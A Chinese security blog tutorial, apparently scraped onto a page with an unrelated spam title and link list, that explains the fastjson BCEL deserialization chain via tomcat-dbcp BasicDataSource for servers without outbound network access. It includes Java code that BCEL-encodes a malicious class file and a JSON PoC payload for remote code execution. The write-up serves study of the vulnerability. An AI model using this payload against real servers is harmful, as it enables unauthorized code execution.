当前位置: 首页 > news >正文

创建网站目录时我们应该百度营销客户端

创建网站目录时我们应该,百度营销客户端,上海制作网站的公司,免费做网站的问题前言 众所周知fastjson公开的就三条链,一个是TemplatesImpl链,但是要求太苛刻了,JNDI的话需要服务器出网才行,BCEL链就是专门应对不出网的情况。 实验环境 fastjson1.2.4 jdk8u91 dbcp 9.0.20 什么是BCEL BCEL的全名应该是…

前言

众所周知fastjson公开的就三条链,一个是TemplatesImpl链,但是要求太苛刻了,JNDI的话需要服务器出网才行,BCEL链就是专门应对不出网的情况。

实验环境

fastjson1.2.4

jdk8u91

dbcp 9.0.20

什么是BCEL

BCEL的全名应该是Apache Commons BCEL,它是一个库。这个库里面有类叫com.sun.org.apache.bcel.internal.util,而这个类里面有一个classLoader类,ClassLoader类里面有一个loadClass方法,如果满足class_name.indexOf("$$BCEL$$") >= 0,那么就会调用createClass这个方法。

我们跟踪进createClass方法看看,可以看到这里会对进来的数据进行解码,所以我们传payload时要进行编码。

所以我们BCEL代码应该是这样的,这里读取盘下的Evil.class文件,然后经过BCEL编码,再加上$$BCEL$$去绕过我们前面的if判断使其解码,最后再借助classLoader.loadClass去加载我们的恶意代码。可能不知道我在说啥,我说白了就是,在不出网的环境中你主机无法去请求http的资源,那么我就把恶意代码转换成字节码传进去,通过调用里面的方法使其执行。

import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class fastjsonBcel {public static void main(String[] args) throws Exception {//不考虑fastjson情况就正常调用该类ClassLoader classLoader = new ClassLoader();byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));String code = Utility.encode(bytes,true);classLoader.loadClass("$$BCEL$$"+code).newInstance();//将文件转为字节码数组public static byte[] fileToBinArray(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("transform file into bin Array 出错",ex);}}}

fastjson

那么我们该如何把这个方法和fastjson结合起来呢,可以结合tomcat-dbcp这个类进行组合达到触发fastjson,tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法,而getConnection()方法在返回的时候又会调用createDataSource()方法。

而createDataSource()方法又调用了createConnectionFactory()方法。

继续跟踪,查看createConnectionFactory()方法,可以看到这里有两个参数

this.driverClassName和this.driverClassLoader。

通过动态类加载调用我们的loadclass,如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控,那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码,恰巧这里有对应的set方法,那么在fastjson反序列化中就会调用set方法来达到可控的目的。

直接看poc,我们对这个s字符串进行反序列化,成功执行代码。

public class fastjsonBcel {public static void main(String[] args) throws Exception {byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));String code = Utility.encode(bytes,true);String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";JSON.parseObject(s);}

这里解释一下poc,指定类org.apache.tomcat.dbcp.dbcp2.BasicDataSource是为了控制上面我们说的driverClassName和driverClassLoader这两个参数,然后还指定了com.sun.org.apache.bcel.internal.util这个类,目的是触发里面的ClassLoader类和loadClass方法,使其加载我们的恶意代码,加上$$BCEL$$是为了绕过if判断,而由于触发方法会经过编码,所以我们要解码。

{{"aaa": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",//这里是tomcat>8的poc,如果小于8的话用到的类是//org.apache.tomcat.dbcp.dbcp.BasicDataSource"driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$..."}}: "bbb"
}

总结

原理不算难,说大白话就是把恶意类变成一串字符 用bp直接发过去就行,但是如果要深究怎么触发方法的话就有点难度了,因为要代码审计。

最后还是要声明一下,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

http://www.tj-hxxt.cn/news/113048.html

相关文章:

  • 网站设计与开发实验报告seo的主要工作内容
  • 网站标题怎么做链接googleplay
  • 网站建设的基本要求公司网站建设教程
  • 合适做服装的国际网站全媒体运营师报名费多少钱
  • 大数据新闻网站怎么做怎样建网站?
  • 广东东莞住建局seo搜索引擎优化入门
  • 做的网站一模一样会被告吗广州网站优化多少钱
  • 乐平城市建设局网站百度指数排行榜
  • 求生之路2怎么做非官方网站抖音seo源码搭建
  • 做js题目的网站天津百度推广公司电话
  • 自己做商品网站怎么做培训机构排名前十
  • 高端网站建设企业官网建设网络营销分类
  • vps挂网站企业网站建站
  • 代运营公司的套路seo深度解析
  • 网站域名在限制域名中成都黑帽seo
  • 桂林设计单位资质升级网站百度怎么免费推广自己的产品
  • 门户网站的建设和管理情况自查长沙全网推广
  • 淘宝客如何做网站全网引擎搜索
  • 怎么自己做网站表白单页网站排名优化
  • 邢台wap网站建设外贸网站平台都有哪些
  • 网上帮别人做网站单页应用seo如何解决
  • 为什么百度地图嵌入网站不显示百度应用平台
  • 百度小程序 wordpressseo搜索引擎优化实训总结
  • wordpress网站备案号许昌网站seo
  • 邻水网站建设网上推广怎么弄?
  • 做相框的网站债务优化是什么意思
  • 常州网站制作市场网络营销的常用方法
  • 网店管家官网搜索引擎优化工具有哪些
  • 深圳电商网站开发公司鲜花网络营销推广方案
  • 网站开发计划书范文百度推广优化师是什么